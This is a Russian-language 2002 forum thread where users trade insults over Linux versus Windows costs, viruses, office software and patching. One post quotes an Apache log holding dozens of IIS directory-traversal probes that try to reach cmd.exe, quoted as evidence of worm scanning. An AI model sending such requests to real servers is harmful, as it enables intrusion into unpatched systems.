а я такое пытаюсь доказать здесь? увольте, сие есть религиозный спор. я вообще стараюсь влезать только когда вижу откровенный гон или не понимание как оно работает там или там. Если человек начинает рассказывать, что винды г-но потому что у него не работает то-то или то-то, то я считаю вполне возможным объяснить ему, что он заблуждается, а проблема его решается так то и так то... но расхваливать винды... фу... мне за это не платят

PTO
()

2 anonymous (*) (2002-08-12 17:13:08.274):
ну так и где там список областей, где линукс рулит? и что Линус уже в 1994 году был Профессором?
И без бума не было бы линукса какой он есть сейчас... это был бы обычный клон юникса, которых десятки... имел бы он немного своих приверженцев, которые бы изучали как надо и как не надо писать ОС...

PTO
()

"ну так и где там список областей, где линукс рулит?"

Конкретно, написано в статье. Учись читать, дарагой. Там разобраны плюсы и минусы.

А в целом, он рулит в сердцах людей. И тогда тоже.

anonymous
()

PTO, "И без бума не было бы линукса какой он есть сейчас... это был бы обычный клон юникса, которых десятки... имел бы он немного своих приверженцев, которые бы изучали как надо и как не надо писать ОС..."

Вот она - точка зрения дауна. Никто не знает, что было бы если бы не было бума. Cygnus и Slackware были прибыльными до бума. Вполне возможно, что бум как раз помешал спокойному прогрессу, вкачав кучу денег, которых не было никакой возможности вернуть, и поставив на грань выживания все линуксовые компании.

anonymous
()

Жертвам пиара от мелкосакса посвящается:

А вы количество убытков от вирусных атак считали, что забыли о них? Или ваша винда такая распупенная что там вирусов нет, что это все на самом деле происки линуксоидов? :)

НЕ ЗАБЫВАЙТЕ О ВИРУСАХ ГОСПОДА!!!!!

ttyS0
()

2 Dao_Dezi (*) (2002-08-12 08:24:16.296)

Я - приукрашиваю и омрачаю??? Где? Я _не_ начинаю тем. Я только лишь отвечаю на наиболее одиозные и/или забавные высказывания. Если тут криво ругают винду - я это показываю (мочить криво защищающих винду тут хватает и без меня). Если тут криво хвалят линукс - тоже, быват, не молчу. :)
Если бы я смог (физически) привести всю ту кучу грабель и глюков, что существуют в линуксах из коробки и виндах из коробки (десктоп), и сравнил функциональность, заложенную в виндовых десктопных приложениях по сравнению с линуксовыми - занял бы тут пару страниц (не экранов, а страниц)(да сдохнуть можно от такого объема работы) - да и результат для меня был бы не нов - я его регулярно вижу. :)
Я недели три назад перед отпуском предлагал уже тут где-то в ответ на сходное замечание провести сравнение по локализации 2Крус и любого линуксового дистра. Ответа не получил. Он и так ясен. :)

2 null666.

Просто СБ - элементарный пример ответа. А конторы (большие и серьезные, в том числе и импортные), считающие деньги с использованием (участием) виндов, тоже есть. Только я про те, где бываю и это вижу, рассказывать не буду, а искать подтверждения для вас в открытом доступе (инете) - времени (больше, чем на поиск по СБ) нет. :)
Блин, да на любом хакерском сайте гляньте, сколько ломают денежных контор на виндах - какие вам еще доказательства нужны??? :)

Виндузятник

anonymous
()

2ttyS0: "А вы количество убытков от вирусных атак считали, что забыли о них"
Нет конечно мы о них не забыли, мало того мы о них постоянно помним и по этому натсравиваем сети и сервера таким образом, чтоб вирусы нам не вредили. Последний раз вирус видел в где-то лет 5 назад. А вот линуксоиды почему-то тут жалуются, что мол их сети завалены вирусами. Странно правда? Может просто линуксоиды не умеют правильно что-либо делать?

anonymous
()

anonymous (*) (2002-08-12 20:37:22.771) Где то уже это число 5 проскакивало , проверь может комп от сети отключен и флопарь давно не работает, и кстати проверь что за операционка ,скорее всего это не винда , тебя явно в магазине предустановили что то другое, да ты вообще из нашей галактики?А вообще заведи антивирус и спи спокойко! P.S. "-Ты суслика видишь? -Нет, -А он там есть!!!"

anonymous
()

# А в целом, он рулит в сердцах людей.

Интересно, до какой степени фанатизма можно докатиться?
Любить операционку больше всего на свете - это, знаете ли,
фетишизмом попахивает. Даже зоофилы по сравнению с "линуксоидами"
(в плохом смысле слова) выглядят не такими страшными извращенцами.
По крайней мере, они любят что-то живое. Шутка.
Ибо типичный "линуксоид" для меня всегда представлялся прыщавым
десятикласникои с горящими глазами, майкой "глупый пингвин"
навыпуск, с бутылкой пива и кучей сидюков под мышкой.
"Линуксоид" и специалист по *NIX - это, все-таки, разные вещи.

Можно ли полюбить ОС, с которой работаешь?
Я - никогда. Для меня компьютер - куча железа,
а софт - куча кода. Может потому, что писал, в основном,
микропрограммы, а начинал вообще с побайтного кодирования.

Интересно, между прочим, а как хирурги смотрят на человека,
после того, как у него внутри покопались?

WM
()

WM, точно так же как можно любить музыку, картину, и любую другую эстетику. Пока ты не понимаешь, трудно понять почему колбасит от хэви-металл или от ласкового мая. А, вот, бывает пробьет и уже не отпускает.

Если ты не способный урок, то эстетику программ понять канешна нельзя. Зачем ваще тада быть ITшником? Для того чтобы зарабатывать бабки?

Да, таких много сейчас. И это печально. Радует, что платят им обычно мало, пока в начальники не выбьются.

anonymous
()

>покажите мне плиз цены конторы которая делает и то и то и давайте >посравниваем

http://www.coast.ru/price/vydelen.html
Установка и настройка Линукс(Unix) маршрутизатора 2000 400 2400

как видите теже ~70 баксов.

Установку виндовс они не предлагают, потому основные деньги имеют с трафика, то есть с работающего оборудования и софта...

демос раньше чуть не пятерную сумму брал за хостинг на NT, а сейчас, смотрю, просто перестал оказывать эту услугу.

я ставлю линукс за 50 баксов. Еще раз. трудоемкость установки линукса заметно меньше чем у виндовс а цены конкретных предложений зависят от локальных условий. Если за установку линукс готовы платить в три раза больше - грех не брать эти деньги. Эти суммы оправданы бОльшей стабильностью и, в итоге, мЕньшей стоимостью владения.


>Для этого МС имеет метод лицензирования Microsoft Open Subscribtion
>License... когда все платежи разбиваются на ежегодные маленькие в
>течение 3х лет, при этом все новые версии бесплатно.

Цены и условия. Я в курсе про подписку, но насколько я знаю, это дело выгодно только крупным конторам. Пока что словеса, а доказательства выгоды нет.

>а я таких видел десятки. есть специальные конторы, которые берут на >абонентское обслуживание, есть даже исследования, что дешевле и в >каких размерах для контор.

как раз в такой конторе я и работал. :)
То есть обслуживание все равно имеет место быть?
где же тогда разница? удаленное администрирование линукса заметно проще из за простоты и изначальной ориентированности настроек на текст. Поставил openssh и рули абонентами. Стало быть и здесь издержки будут меньшими. Я даже великодушно ставлю их РАВНЫМИ.


>Что имеется в виду?
посканируйте точку.ру и вы поймете о чем речь.
логи моего апача с сегодняшнеми запросами от нимбды показать?
И не стоит говорить про профессионализм и патчи от микрософт.
Просто посмотрите, сколько открытых сервисов и прокси, сколько web-серверов раздающих весь диск, сколько непатченных виндоз и больше не заикайтесь про "дешевизну" сопровождения виндовс - эта "дешевизна" основной массе не по карману. А вот линукс вполне.


>Но и сегодня я знаю кучу контор, в которых
>все работает на НТ/2000 и никаких проблем у них не возникает.
я тоже знаю, см выше.

я видел, как админ бегал и выдергивал сетевой шнурок из компьютера, потому что деньги буквально утекали у него через этот шнурок. И потом втыкал его , чтобы через полчаса снова в панике выдернуть его обратно. И не спрашивайте, как я это узрел... :)


>Можно список контор, что проводят курсы по опенофис... график, >программу курса, цены?

см www.altlunux.ru (курсы на базе МАИ)
www.asplinux.ru (тоже в каком то вузе)
есть в миреа, но ссылки не знаю.
ну и гугль тоже подскажет :)

>А в экселе таблички создавать тяжело и медленно,

Эксель идет в составе целого монстра. Его даже поставить не каждый сможет. Кроме того, наличие целой кучи функций и модулей, которыми пользователь _никогда_ не воспользуется, делает его слишком уязвимым и для вирусов и для сбоев. За год использования гнумерик ни разу не сбойнул, а его функций оказалось достаточно. Переходить на OpenCalc не потребовалось.

>я Бейсик гораздо тяжелее в обучении, чем питон, который все в школе >проходят на уроках информатики.

безусловно, тот бейсик, который сидит в недрах офиса никак не похож на то, что проходят? в школах и тем более он абсолютно неестественнен и тяжел в освоении. Фактически, в бейсике нужно просто запоминать названия объектов и их свойств и методов, но это скотская парадигма абсолютно не соответствует человеческому разуму, который не хочет просто запоминать, но хочет мыслить логически. В отличии от него, питон обладает простотой и ясностью ООП и только расширяется набором модулей. Питон является стержнем построения системы, может быть применен везде и действительно легок в освоении.

>Гнумерик _ПРИМИТИВЕН_ и сравнивать его с экселем можно тока имея >сильное покраснение радужной оболочки глаз.

Гнумерик _АДЕКВАТЕН_, а сравнивать его с разлапистым екселем приходится за неимением лучшего в Виндовс.

> угу, для каждого инструмента свой интерфейс, свои меню, ничего друг > с другом не похожее...

>По оценкам народа что занимается юзабилити, человек, который умеет >хоть как-то работать с вордом, может выполнять 80% аналогичных
> действий в экселе без обучения вообще. за счет унификации интерфейса.

Это народ, который занимается юзабилити умудрился выход из виндозы сделать через вход...
Что касается унификации интерфейса, то на мой взгляд, интерфейс должен быть удобным и понятным. winamp не похож на ворд и тем не менее понятен...
Унификация интерфейса, как требование, это по сути пригибание пользователя к неудобным костылям, но зато одного размера и формы.
Я понимаю, почему это так важно в виндозе - пользователь привыкает быть вечно согнутым и становится невоспримчивым к обучению, но авторам свободного софта глупо желать того же. Хотя бы из за отсутствия мотивации...


>нет не путаю. :) есть так называемые файрволлы еще и на уровне
>приложения. они умеют разбирать SMTP-комманды и смотреть чего там
>шлется в письме. безо всяких антивирусов.

тогда касперский, который для своего avp реализовал сей метод, теперь считается изготовителем файрвола. буду знать :)




anonymous
()

Продолжение саги про win2k prof rus
Сегодня звонит мне клиент и говорит, что не может подключить модем.
модем zyxel omni ....
три дня не может! съездил в магазтн за драйвером и еще у кого то взял другой и со всем этим приехал ко мне.
Смотрю - все в порядке, а при проверке модема (кнопва "опросить") выскакивает, что модем не отвечает.
При нем втыкаю модем к себе в линукс и проверяю - работает. Вся установка и проверка модема в линуксе "от и до" заняла пару минут (пришлось аптом миником с дистра доставить).

В виндозе терминалка hyperterbinal уже все стояла , но даже проверить до конца неудалось. Модем номер набтрает, а вот на команды не реагирует.

Мужик теперь до суботы (неделя) остался без инета, потому как он работает на этом компе и не может посреди рабочей недели носится с ним по спецам типа меня и на бабки уже попал (за запись драйверов + гемор) и еще попадет. Виндозу совершенно свободно можно ставить бесплатно...

anonymous
()

Какие тут криворукие линуксоиды собрались просто диву даешся... Кстати про 5 лет, у меня стоияла НТ4.0 а потом w2k но вирусов не было, потому как в отличии от криворуких обитателей этого сайта, я свою работу знаю.

anonymous
()

>Какие тут криворукие линуксоиды собрались просто диву даешся...
в основном это наблюдения за теми самыми винюзерами, которые по усиленно насаждаемому мнению Микрософт, вполне могут сами обслуживать свой компьютер с такой легкой и интуитивной ОС, какой, по их мнению, является windows.

>Кстати про 5 лет, у меня стоияла НТ4.0 а потом w2k но вирусов не было,
>потому как в отличии от криворуких обитателей этого сайта, я свою работу знаю.

Дурачина, ты хоть одного линуксойда найди, который вируса поймал...
У меня линукс уже год аптайма в интернете имеет и ни одного сбоя, не то что трояна и вируса.
В статистике линукс уже обогнал виндовс в интернет, как платформа для хостинга и столько же иеще у freeBsD. И сравни количество проломленных виндоз и линуксов или БСД.

Списочек:

217.226.52.99 - - [11/Aug/2002:08:20:42 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 316
217.226.52.99 - - [11/Aug/2002:08:20:43 +0400] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 319
217.226.52.99 - - [11/Aug/2002:09:10:15 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 312
217.226.52.99 - - [11/Aug/2002:09:10:16 +0400] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
62.251.162.67 - - [11/Aug/2002:14:25:59 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
62.251.162.67 - - [11/Aug/2002:14:25:59 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
62.251.162.67 - - [11/Aug/2002:14:26:00 +0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
62.251.162.67 - - [11/Aug/2002:14:26:00 +0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
62.251.162.67 - - [11/Aug/2002:14:26:01 +0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
62.251.162.67 - - [11/Aug/2002:14:26:02 +0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system 32/cmd.exe?/c+dir HTTP/1.0" 404 338
62.251.162.67 - - [11/Aug/2002:14:26:02 +0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.162.67 - - [11/Aug/2002:14:26:03 +0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.162.67 - - [11/Aug/2002:14:26:04 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.162.67 - - [11/Aug/2002:14:26:04 +0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.251.162.67 - - [11/Aug/2002:14:26:05 +0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
62.251.162.67 - - [11/Aug/2002:14:26:05 +0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
62.251.162.67 - - [11/Aug/2002:14:26:06 +0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
62.251.162.67 - - [11/Aug/2002:14:26:07 +0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
217.80.219.57 - - [12/Aug/2002:18:03:16 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 316
217.80.219.57 - - [12/Aug/2002:18:03:16 +0400] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 319
217.80.219.57 - - [12/Aug/2002:18:51:49 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 312
217.80.219.57 - - [12/Aug/2002:18:51:49 +0400] "GET /scripts/.%252e/.%252e/winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.1" 404 315
62.217.129.164 - - [12/Aug/2002:20:08:23 +0400] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
62.217.129.164 - - [12/Aug/2002:20:08:28 +0400] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 291
62.217.129.164 - - [12/Aug/2002:20:08:34 +0400] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
62.217.129.164 - - [12/Aug/2002:20:08:39 +0400] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
62.217.129.164 - - [12/Aug/2002:20:08:45 +0400] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 322
62.217.129.164 - - [12/Aug/2002:20:08:51 +0400] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system 32/cmd.exe?/c+dir HTTP/1.0" 404 338
62.217.129.164 - - [12/Aug/2002:20:08:57 +0400] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.217.129.164 - - [12/Aug/2002:20:09:04 +0400] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.217.129.164 - - [12/Aug/2002:20:09:11 +0400] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.217.129.164 - - [12/Aug/2002:20:09:17 +0400] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 304
62.217.129.164 - - [12/Aug/2002:20:09:25 +0400] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
62.217.129.164 - - [12/Aug/2002:20:09:33 +0400] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 288
62.217.129.164 - - [12/Aug/2002:20:09:42 +0400] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305
62.217.129.164 - - [12/Aug/2002:20:09:51 +0400] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 305


Это ведь все безрукие линуксойды с winnt на борту?

anonymous
()
Ответ на: комментарий от anonymous

А тут идешь, платишь бобы - через два дня заболело так что еле приполз с таким же проверяющим - а тебе: ну извини - не смогла я ...

anonymous
()

"в основном это наблюдения за теми самыми винюзерами, которые по усиленно насаждаемому мнению Микрософт, вполне могут сами обслуживать свой компьютер с такой легкой и интуитивной ОС, какой, по их мнению, является windows."
И действительно могут. А кто не может просто докупают антивирус (который вообще часто идет в поставке компьютера) и бед не знают. А вот те самые которые все сами собирают и на предложения проапгрейдится нос воротят, те да имеют проблемы, потому как они этого и заслуживают.
"Дурачина, ты хоть одного линуксойда найди, который вируса поймал"
Да кто же из вас придурков в этом тут признается? Хотя все те же самые персоонажи их ловят под виндосом, потому как признаватся в своей криворукости в отношении виндовс тут модно, что-то вроде фрик-шоу каждый хвалится на сколько он уродлив.
"У меня линукс уже год аптайма в интернете имеет и ни одного сбоя, не то что трояна и вируса"
У тебя аптайм СЕРВЕРА или СЕРВИСА? Если разницы не понимаешь лучше тебе даже и не начинать.
"В статистике линукс уже обогнал виндовс в интернет, как платформа для хостинга и столько же иеще у freeBsD"
Где ты такую траву берешь? Виндовс имеет более половины ВСЕХ веб-серверов (см netcraft), а линукс только что-то в районе 30%.
"Это ведь все безрукие линуксойды с winnt на борту?"
Это все те криворукие, которые вместо того чтоб за месяц до вируса поставить патч, уже более года эту дурь не уберут.

anonymous
()

2 PTO

>>>сколько этих людей было раньше, и сколько людей работают с компами сегодня?<<<

И что? По утверждениям Ваших подчиненных, которые Вы передали нам уровень этих людей не изменился => они должны также усваивать материал. Ан нет... Не выходит каменная чаша. Так что не нужно заливать про обучаемых, раз сами с ними не работаете.

>>>а сколько книг реально полезны по линуксу для пользователя? так чтобы можно было дать человеку и он бы его освоил не напрягаясь в плане работы с КВордом или ОО? Отвечу... для обычного человека таких книг практически нет.<<<

Ну парочка-то найдется по-любому. А anonymous (*) (2002-08-12 23:18:43.053) уже и курсы спциально для Вас нашёл.

>>>а как же свобода выбора? по цвету обложки и цене... приходи и выбирай, под линуксом и такого нет<<<

Анекдот про Брежнева знаете. Там где последняя фраза: "Ну ти же у нас тожи адын, но ми же тебе вибираем." Смысл выбирать из кучи клонированных книг? Лучше уж пусть будет 2 штуки, но зато нормальных.

>>>мне не нужно освежать память... она у меня нормально работает. Первая книжка для чайников про вин95 вышла за пол-года до выхода продукта (в России на русском языке), а книжка для программеров за 2 месяца.<<<

Ну что же проверим. Объявление конца 95-начала 96 годов. "Требуется оператор ПК. Знание электронных таблиц ..." Название какого софта нужно подставить вместо ... чтобы получилось правильное объявление.

>>>В день запуска Вин95 (24 августа) вместе с ней начались продажи более 300 готовых пакетов под Вин95... от Офиса, до симантековских утилит. Куча мультимидийных приложений... игрушек только МС выпустил тридцать штук в тот же день и далее с пол-года по 10 штук в месяц выпускал.<<<

Да офис это конечно здорово. Только не нужно забывать, что появился он позже Винды - это раз. Второе - разрабатывала его та же корпорация. А про симантековские утилиты что-то не помню. В то время все почему-то юзали nu8.rus. А ещё Dr.Web ДОСовский. 30 игрушек это Вы про пасьянс, сапёра и прочие дешёвые поделки? Напомнить про WarCraft2, Quake, LBA и прочее?

>>>а чем плохи смарт-теги... народ с них тащится... я видел самодельные смарт теги... типа народ набирает индекс РТСа и ему текущуюю стоимость акции показывают. Мне например нравится возможнось созданный документ разослать куче народа на ревизию и получив от каждого поправки слить их в один документ параллельно. + SharePoint Team Services, которая ставится на ИИС на рабочей станции и дешево и сердито делать удобный минипортал для рабочей группы работающей над каким-либо проектом.<<<

А что team development это такое ноу-хау? До ОфисХР этого нигде не было да? Дружно скажем дяде Билли громкое спасибо. Ведь он нам открыл team development и интернет.

>>>угу, осталась куча народу... и на ОС/2 кое-кто продолжает работать... а на островах еще есть люди, которые босиком и с копьями ходят и им наши разборки до барабана в который они бьют когда войной на соседнее племя идут... пограбить там, да баб поворовать.<<<

Я не говорю, что сейчас остались, я говорил в 95-ом году. Сейчас уже всех кто хотел и не хотел загнали на Винду. Про методы рассказывать нужно? А то у меня два монитора стоят Samsung SyncMaster 3NE, по ним очень хорошо видно.

>>>ой винды ли? вы решение для линукса не задумываясь выдаете, а про винды похоже разбираться не досуг...<<<

Я решение для Линукса не задумываясь выдаю? Да, это что-то новенькое. Пойти чтоли Линукс-админом устроится раз я так крут? Разбираться про Винды? Так в них же не нужно разбираться. Интуитивно-понятный интерфейс, сравнение с женской грудью и всё такое...

>>>а причем тут МакОС собственно? то, что у нее юзабельность хороша, дык это хорошо... но какими жертвами она достигается? и сколько стоит? Мне нравятся аргументы линурасов - маштабируемость - дык Солярис крут, юзабельность - МакОС рулит, еще чего - тоже найдут... линукс ГДЕ?!<<<

Где, где. В КДЕ. Помнится разговор был не про это. Разговор был про то, что Винда такая единственная и неповторимая, легкая для освоения, и все остальные в плане юзабилити и рядом не стояли. А на самом деле... В общем как обычно пиар. "Покупайте нашу лапшу, она на ушах дольше всего висит".

>>>Спецификация CIFS доступна давно... просто теперь ее раздают роялти фри. а RFC вообще древний на сколько я понимаю...<<<

RFC по NetBIOS'у, да Вы правы он очень древний, по нему ещё игрушки под ДОС'ом работали. CIFS - мелкая часть SMB. Где спецификация самого SMB?

>>>кого не было? линукса? дык-ть лучше бы уж не было, чем то говно что было :) сорри за тавтологию. <<<

Так прогресс всё-таки есть или нет?

>>>а я такое пытаюсь доказать здесь? увольте, сие есть религиозный спор. я вообще стараюсь влезать только когда вижу откровенный гон или не понимание как оно работает там или там. Если человек начинает рассказывать, что винды г-но потому что у него не работает то-то или то-то, то я считаю вполне возможным объяснить ему, что он заблуждается, а проблема его решается так то и так то... но расхваливать винды... фу... мне за это не платят<<<

Взаимно.

2 Виндузятник

>>>Если бы я смог (физически) привести всю ту кучу грабель и глюков, что существуют в линуксах из коробки и виндах из коробки (десктоп) [skiped]<<<

Вот-вот толкуешь им толкуешь, что везде свои грабли - учитесь их использовать, так нет же. ВИНДА! Суперюзабилити! Интуитивно-понятный как женская грудь интерфейс! (Кстати, никто не пробовал на домене 2к ограничить для юзера компьютеры на которых он может работать?) Со стороны Линукса таких же хватает, просто _пока_ я в винде больше понимаю.

>>>Блин, да на любом хакерском сайте гляньте, сколько ломают денежных контор на виндах - какие вам еще доказательства нужны??? :)<<<

Ага, порносайты, да магазины. Через кривые cgi-ки, php-шки и прочие дыры. А потом начинается как обычно. Вот у нас обокрали магазин - стырили номера 10000 кредиток, магазин-то был на Линуксе из коробки, писали, что мега-секьюрный - а оказалось, нужно было на Винде ставить. И ведь никто не подумает, что поломали через дырищу в скрипте, который написал программист, работавший на эту контору. Так может уже пора не хаять линукс почем зря "а зрить в корень"(с)Козьма Прутков.

С уважением, null666.

anonymous
()

2 anonymous (*) (2002-08-13 04:35:07.179)

>>>Это все те криворукие, которые вместо того чтоб за месяц до вируса поставить патч, уже более года эту дурь не уберут.<<<

Праздничная площадь. Флаги, траспаранты. Звучит оркестр. По громкоговорителю: "Внимание! Всем, всем, всем. Великий день. Глубокоуважаемый господин anonymous открыл патентованый способ полной защиты от вирусов. Нужно всего лишь ставить патчи от microsoft. Причем патчи выходят за полгода до появления вирусов..."

*в то же самое время* Курилка рядом с площадью. Слабо слышен громкоговоритель. В курилке небритые Касперский и Данилов. Данилов задумчиво вертит в руке пистолет. Касперский достаёт мятую пачку. Две сигареты. Касперский: "Ну что по последней". Данилов: "Ну давай...".

*на площади* "Ура, неизвестному герою! Ура, anonymous'у!"

Занавес.

null666.

anonymous
()

2null666: ""Внимание! Всем, всем, всем. Великий день. Глубокоуважаемый господин anonymous открыл патентованый способ полной защиты от вирусов. Нужно всего лишь ставить патчи от microsoft. Причем патчи выходят за полгода до появления вирусов...""
Специально дял крЮтых линуксоидов - патч на дырку которую использовал CodeRed вышел за МЕСЯЦ до появления вируса. Если бы народ поставил патч не было бы проблемы (только не надо про то что с линуксом тоже все было бы нормально, нет не было бы просто линуксов сечас исчезающе мало 0.24% и вирусописателяс он не интресен) та же история с почтовыми вирусами которые использует дырку которая прикрыта так давно что уже, что любые отмазки уже не играют ни какой роли. Но пользователи вроде таких крЮтых как ты не ставят патчи ни когда, и именно по этому MS и стал автоматически устанавливать апдэйты потому как по другому не получается и именно по этому касперские и прочии без работы пока что не останутся и не играет роли буде Виндовс стоят или линукс дыры и вирусы у безруких будут по жизни.

anonymous
()

# Если ты не способный урок, то эстетику программ понять
# канешна нельзя. Зачем ваще тада быть ITшником? Для того
# чтобы зарабатывать бабки?

"Неспособный урок" рискнет предположить, что ты пока не
зарабатываешь себе на жизнь. Или, по крайней мере,
не компьютерами. Для тебя возня с компом - это поиски
"эстетики", общение с фанатеющими приятелями, ...
Каждому, "канешна", свое.

# Да, таких много сейчас. И это печально. Радует, что
# платят им обычно мало, пока в начальники не выбьются.

Уверяю тебя, это радужный сон. Все наоборот.
Гораздо более ценится исполнительность и умение работать
в команде.
Свободные художники на рынке рабочей силы стоят ровно грош.
Выбиваются единицы из миллионов и становятся либо бизнесменами
либо культом для молодежи.

WM
()

>>>Специально дял крЮтых линуксоидов - патч на дырку которую использовал CodeRed вышел за МЕСЯЦ до появления вируса. Если бы народ поставил патч не было бы проблемы<<<

А причем тогда здесь "криворукие" Линуксоиды, если Виндозному админу недосуг патчи поставить? Может он как раз из тех красноглазых студентов, которые повелись на "простоте" Винды? Знаю таких... Линь он только на пониторе видел у друга, о нем практически ничего не знает. Админ. А почтовик у него - open relay. Так причем здесь Линуксоиды?

Говорят же, в любой системе граблей хватает. Может быть немного разных по направлению. Но они есть везде.

Dao_Dezi
()

2 null666 anonymous (*) (2002-08-13 08:02:16.573)

Неее, товарищ, пропускать не надо. Дырки и глюки есть везде, да, но в линуксах (десктоп) сейчас их на порядок больше, чем в винде. И по функциональности основных массовых десктопных приложений линукс в основном позади. (конечно, можно сказать, что "ексель перегружен" всякой фигней, а гнумерик "адекватен". Вот это будет явной предвзятостью - типа, нет функции - так нам это и не надо). Поэтому я и говорю, что результат для меня очевиден. Да и для чела, не захотевшего устраивать со мной сравнение - тоже. :)
(я не дискутирую там, где знаний маловато - в серверах, безопасности, удаленном доступе и управлении и т.д., но по многим вопросам десктопа на рабочем месте - запросто)... :)

Виндузятник

anonymous
()

2 null666 anonymous (*) (2002-08-13 08:02:16.573)

Еще в продолжение. Если вам в лом представить в голове банки, использующие винду в денежных расчетах (ваши утверждения ТОЛЬКО о мелких конторах и порносайтах, естественно, полностью бездоказательны), я вам помогу.
Названия Barclays Capital, Merrill Lynch, Федеральная банковская система вам о чем-то говорят? Тогда читайте http://www.windowsfs.com/, http://www.windowsfs.com/main/search2.asp?nexturl=Banking&FirstTime=Yes, http://www.windowsfs.com/documents/backissues/Banking/spring2002_BankServ.html. :)

Виндузятник

anonymous
()

> какие гарантии вы реализуете? т.е. если упадет сервер, пропадет
>письмо или важная информация уедет моему конкуренту какую сумму моих
>потерь и упущенной выгоды вы мне вернете?

столько же, сколько гигант Микрософт - 5 баксов...
Вам с таким пушком на рыльце должо быть стыдно говорить о гарантиях...

>что за эти 50 баксов будет делать линукс?
стандартная установка.

> какие сервисы оно будет реализовать?

см.содержание папки /etc/init.d в дистрибутивах альтлинукса.

"зависят от локальных условий."

> Если за установку линукс готовы какие к черту локальные условия -
> контора в одном город> какие гарантии вы реализуете? т.е. если упадет сервер, пропадет
>письмо или важная информация уедет моему конкуренту какую сумму моих
>потерь и упущенной выгоды вы мне вернете?


столько же, сколько гигант Микрософт - 5 баксов...
Вам с таким пушком на рыльце должо быть стыдно говорить о гарантиях...


>что за эти 50 баксов будет делать линукс?
стандартная установка.

> какие сервисы оно будет реализовать?

см.содержание папки /etc/init.d в дистрибутивах альтлинукса.

"зависят от локальных условий."

> Если за установку линукс готовы какие к черту локальные условия -
> контора в одном городе работает и в нем же услуги оказывает - под >линуксом та же услуга почти в 3 раза дороже.

Мы все таки говорим о цене владения или просто выкручиваемся?
Если установок для линукса требуется в три раза меньше за те же три года, то не выгоднее ли заплатить за линукс втрое больше и остаться с меньшей стоимостью владения из за меньших потерь от простоев?

anonymous
()

2Dao_Dezi: "А причем тогда здесь "криворукие" Линуксоиды, если Виндозному админу недосуг патчи поставить?"
Да потому что ровно те самые виндовозные админы на работе, тут являются самыми отъявленными линуксоидами, просто иначе объяснить такое кол-во рассказов про кривизну винды просто не возможно, потому как чтение форумов на ixbt на пример наводит на мысль что проблемы которые случаются на виндовсе не так уж и часты и в основном завязыны на не понимание системы, при этом ужасных историй провигдовс *тут* на порядки больше чем на ixbt где по идее их должно быть все же больше чем на линуксоидном сайте.

anonymous
()


> платить в три раза больше - грех не брать эти деньги. дык батенька > тут же рынок... спрос и предложение. т.е. саморегуляция должна
> быть... никто не будет кому-то платить в 3 раза больше, когда это >можно сделать за 3 раза меньше. т.е. тут явное нарушение пропорция >спрос/предложение...

Верно :) Вот если вы нацдете установку линукса на одних и тех же условиях с разными ценами и одинаковым сервисом и гарантиями - берите где дешевле. А если сравниваете цены на разные продукты (хоть и замещающие друг друга), то опять таки берите где дешевле в ИТОГЕ. А так скупой платит дважды (трижды, но в три раза дешевле).


>А с установкой Виндов все понятно - спрос/предложение уже утряслись >и цены на рынке более-менее правильные. Цены и условия.

То есть виндовс дешевле не будет? а вот и без того недорогой линукс еще может подешеветь?
Так и запишем.
